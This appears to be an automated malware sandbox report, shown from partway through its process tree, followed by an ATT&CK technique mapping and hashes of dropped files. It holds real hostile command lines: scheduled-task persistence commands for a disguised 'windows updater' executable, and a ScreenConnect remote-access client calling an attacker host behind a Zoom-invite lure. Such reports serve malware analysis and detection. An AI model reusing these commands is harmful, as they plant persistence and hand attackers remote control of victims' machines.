                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\chcp.com
                                                                                                                                                                                                                                                                                                              chcp 65001
                                                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                                                PID:6280
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\JJSPLOIT.V2.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\JJSPLOIT.V2.exe"
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                PID:1820
                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                  "schtasks" /create /tn "windows background updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windows updater\windows 3543.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                  PID:5672
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\windows updater\windows 3543.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\windows updater\windows 3543.exe"
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                    PID:5600
                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                                                      "schtasks" /create /tn "windows background updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windows updater\windows 3543.exe" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                      PID:5716
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qINjSkmuD2rC.bat" "
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:3760
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\mac.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\mac.exe"
                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                      PID:3104
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\Discord.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\Discord.exe"
                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                        PID:4300
                                                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                  PID:3568
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                • Enumerates connected drives
                                                                                                                                                                                                                                                                                                • Boot or Logon Autostart Execution: Authentication Package
                                                                                                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                PID:1908
                                                                                                                                                                                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 2631F3A5ED7A619348012EEAA545765A C
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                  PID:3656
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9961.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240622046 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                    PID:4612
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\srtasks.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:5048
                                                                                                                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 5A37E0C1925822AEE5590D3C807DBE45
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                    PID:3668
                                                                                                                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding D34D94C2F8247F382BC272F87252DD04 E Global\MSI0000
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                    PID:4716
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                  PID:2452
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\System32\svchost.exe -k swprv
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:4140
                                                                                                                                                                                                                                                                                                  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                    PID:2144
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4960 -ip 4960
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:388
                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\ScreenConnect Client (0cef7d10d8f459fc)\ScreenConnect.ClientService.exe
                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\ScreenConnect Client (0cef7d10d8f459fc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=mail.mindfulinvoice.online&p=8041&s=950eb78c-2c84-4723-905f-38bbae3d8637&k=BgIAAACkAABSU0ExAAgAAAEAAQBBzfcAyYpoA9s86t45oTU7RBr4d3j4wo7ZWaxqW1gXVfaaoS%2bfd0k%2bPJKuwjzsEUcR0STNhshdEUFtsJUgTCaM2RxVswQODfRB%2fxy8spQ2LWWZZewzTdxJbjosBiXV2QpUCcfCmF5yx2%2fO4iVCF7r%2bUlzDG93NmkPtCrZC9yxqlnxALMX%2bF%2faXCCBkyDmMu3o22AbtP3XzZdSzxk8RbscXClS7evLV%2bxau13F1YFn%2baxZ7QaXuHbPv1tE2Bs26tkj%2fE18oOxpgof0OaK2Jy%2bP9WIy8ymeDPQIfocdTFuAek5wZ3lNpFAcbox7NXzIde9yf0dLrOLPA36Dg%2fHz05hjY&c=zoom&c=zoom-invite.com&c=&c=&c=&c=&c=&c="
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                      • Sets service image path in registry
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                      PID:3828
                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\ScreenConnect Client (0cef7d10d8f459fc)\ScreenConnect.WindowsClient.exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\ScreenConnect Client (0cef7d10d8f459fc)\ScreenConnect.WindowsClient.exe" "RunRole" "5a90cb36-beed-4e91-9d1b-239c4c15e943" "User"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                        PID:1540
                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\ScreenConnect Client (0cef7d10d8f459fc)\ScreenConnect.WindowsClient.exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\ScreenConnect Client (0cef7d10d8f459fc)\ScreenConnect.WindowsClient.exe" "RunRole" "a05df4b3-0bf3-4672-9c60-df41b7f22039" "System"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                        PID:5084
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Network.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\Network.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      PID:5792
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Network.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\Network.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:1920
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5584 -ip 5584
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:4380
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 6288 -ip 6288
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:4108
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1172 -ip 1172
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:6200

                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                                                                                                                                            Resource Development

                                                                                                                                                                                                                                                                                                            Initial Access

                                                                                                                                                                                                                                                                                                            Replication Through Removable Media

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1091

                                                                                                                                                                                                                                                                                                            Execution

                                                                                                                                                                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1059

                                                                                                                                                                                                                                                                                                            PowerShell

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1059.001

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                                                                                            Persistence

                                                                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                                                                            Authentication Package

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1547.002

                                                                                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1546

                                                                                                                                                                                                                                                                                                            Component Object Model Hijacking

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546.015

                                                                                                                                                                                                                                                                                                            Netsh Helper DLL

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546.007

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548

                                                                                                                                                                                                                                                                                                            Bypass User Account Control

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548.002

                                                                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                                                                            Authentication Package

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1547.002

                                                                                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1546

                                                                                                                                                                                                                                                                                                            Component Object Model Hijacking

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546.015

                                                                                                                                                                                                                                                                                                            Netsh Helper DLL

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1546.007

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548

                                                                                                                                                                                                                                                                                                            Bypass User Account Control

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548.002

                                                                                                                                                                                                                                                                                                            Impair Defenses

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1562

                                                                                                                                                                                                                                                                                                            Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1562.004

                                                                                                                                                                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1562.001

                                                                                                                                                                                                                                                                                                            Modify Registry

                                                                                                                                                                                                                                                                                                            5
                                                                                                                                                                                                                                                                                                            T1112

                                                                                                                                                                                                                                                                                                            Credential Access

                                                                                                                                                                                                                                                                                                            Credentials from Password Stores

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1555

                                                                                                                                                                                                                                                                                                            Credentials from Web Browsers

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1555.003

                                                                                                                                                                                                                                                                                                            Unsecured Credentials

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1552

                                                                                                                                                                                                                                                                                                            Credentials In Files

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1552.001

                                                                                                                                                                                                                                                                                                            Discovery

                                                                                                                                                                                                                                                                                                            Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1120

                                                                                                                                                                                                                                                                                                            Process Discovery

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1057

                                                                                                                                                                                                                                                                                                            Query Registry

                                                                                                                                                                                                                                                                                                            5
                                                                                                                                                                                                                                                                                                            T1012

                                                                                                                                                                                                                                                                                                            Remote System Discovery

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1018

                                                                                                                                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                                                                                                                                            6
                                                                                                                                                                                                                                                                                                            T1082

                                                                                                                                                                                                                                                                                                            System Location Discovery

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1614

                                                                                                                                                                                                                                                                                                            System Language Discovery

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1614.001

                                                                                                                                                                                                                                                                                                            System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1016

                                                                                                                                                                                                                                                                                                            Internet Connection Discovery

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1016.001

                                                                                                                                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                                                                                                                                            Replication Through Removable Media

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1091

                                                                                                                                                                                                                                                                                                            Collection

                                                                                                                                                                                                                                                                                                            Data from Local System

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1005

                                                                                                                                                                                                                                                                                                            Command and Control

                                                                                                                                                                                                                                                                                                            Web Service

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1102

                                                                                                                                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                                                                                                                                            Impact

                                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                                            • C:\Config.Msi\e57d310.rbs
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              214KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              0b9fed07d9f23832cfa81887c854b03a

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              eadc8fbf74f4dd4a6a7083dd076168a69d0b7924

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              3e260219ed81bf1439a972f592e0366d29cf642891c11f7218d2123c10db555c

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              3c15449aedc01778137a0966ac56704ceddfa8b0f3dd781dda2f038fc8a5aeced3799ecec3b0f2e6bd19b79f63a9fd42e9740fc2f5a14cf85527941a0c6bf0e0

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              761KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              c6040234ee8eaedbe618632818c3b1b3

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              68115f8c3394c782aa6ba663ac78695d2b80bf75

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              bb459869e5ef6d6dd6f0329080d7cb12542c4b37163ae2cd782620adcd7d55a0

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              a3d8c8c6a990797a99887e0e07a01b1e2fe0a4e53df7294fed18a1e856d56a7762e0ab4a8e4689de411acb4fd29b8d7e247fbc696d855a9976a760d33ab60bcf

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Servers.exe.log
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              1KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              b4e91d2e5f40d5e2586a86cf3bb4df24

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              31920b3a41aa4400d4a0230a7622848789b38672

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              5d8af3c7519874ed42a0d74ee559ae30d9cc6930aef213079347e2b47092c210

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              968751b79a98961f145de48d425ea820fd1875bae79a725adf35fc8f4706c103ee0c7babd4838166d8a0dda9fbce3728c0265a04c4b37f335ec4eaa110a2b319

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              69994ff2f00eeca9335ccd502198e05b

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              b13a15a5bea65b711b835ce8eccd2a699a99cead

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\634977\Q
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              254KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              18d6ca5cd4425b2a59d0204845b3a313

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              d40789e751f1df3d8b4a3589e3c0e46c73734982

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              00f9508cfaa49cb06d23a766bcf7400a01d520e9c59ded5ee432445433dc92a7

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              29d8a710c8268b73b131fb4b1e4a468d147664b0dc1e798a841b41ad205c388a19decc0e32afc35a3f5c507240b9b0aed079f862883e443191b71e3e76ac0c7a

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\634977\Surrey.com
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              1KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              721798d5e898f7bf619731c63ce0f70a

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              faf26b79b845215e5c82de71c599bf8f684ce196

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              b4b3304e8577321119e5fc17941dc840d0c404ef23c901ca5dcb01fc107c860a

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              6977c1fd046f727917ea195c85cc825f2a1aec1ae49a239c0dce8182c6d9f251b700927ed1c99000bfd1a21fe75e2b18c76939a440a57afb49f736eb3d215954

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\634977\Surrey.com
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              925KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              62d09f076e6e0240548c2f837536a46a

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              26bdbc63af8abae9a8fb6ec0913a307ef6614cf2

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              32de0d8bb57f3d3eb01d16950b07176866c7fb2e737d9811f61f7be6606a6a38a5fc5d4d2ae54a190636409b2a7943abca292d6cefaa89df1fc474a1312c695f

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Competing
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              43KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              d746b31bfc276902000f23e46ca7e00b

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              28dedd273385b424355907e3b894564e384f4059

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              abc00f6ea9b8e1cc8088ea704e592037fea434afd5fff489d90c30611324975b

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              a5c3c89b5ecb45252a54bc720e0e03486d883f49b2403d0ca045a385d0853f90d1ffab15b5115d43afb273b66fd8cc0786a99244103bb79966ea9ef63d38fd7a

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Courage
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              84KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              7cd4bd9c45027736143df559673df306

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              4080a3c2a9f6444185c1525fe4e619a2fe9f5576

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              3b60082174b17222df87b064230a32fcfb079f9f2721bb0b5b7cd59111a45548

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              05ca2a3abc8cecb2abd78cba89a46e41bff3f881efd57dbfd0adc079347de1f605121689e75c5aef2a545e40e1400c74193084b9055372e1ac8a886e23df5d05

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Expanding
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              56KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              fb1683f53f13b7dbe5db3aef09074e67

                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                              04542e61c4f24a07e5fd2d24a093edf8bd5b0f59

                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                              bb782d6a6b5a646a35eaa0ec09e17e48dbed725ec4e4b21358fa085f76baad65

                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                              db7621e490a5a3886f63249e566a7d44a3b76c1ea61a936b3dbe90c9e59a2fed573d13122ce722a776ea58c04648691f0aecb992bb8cddc82cbf35912047b064

                                                                                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Firewire
                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                              144KB

                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                              c6a95332417fbff1a331f58887c76a59

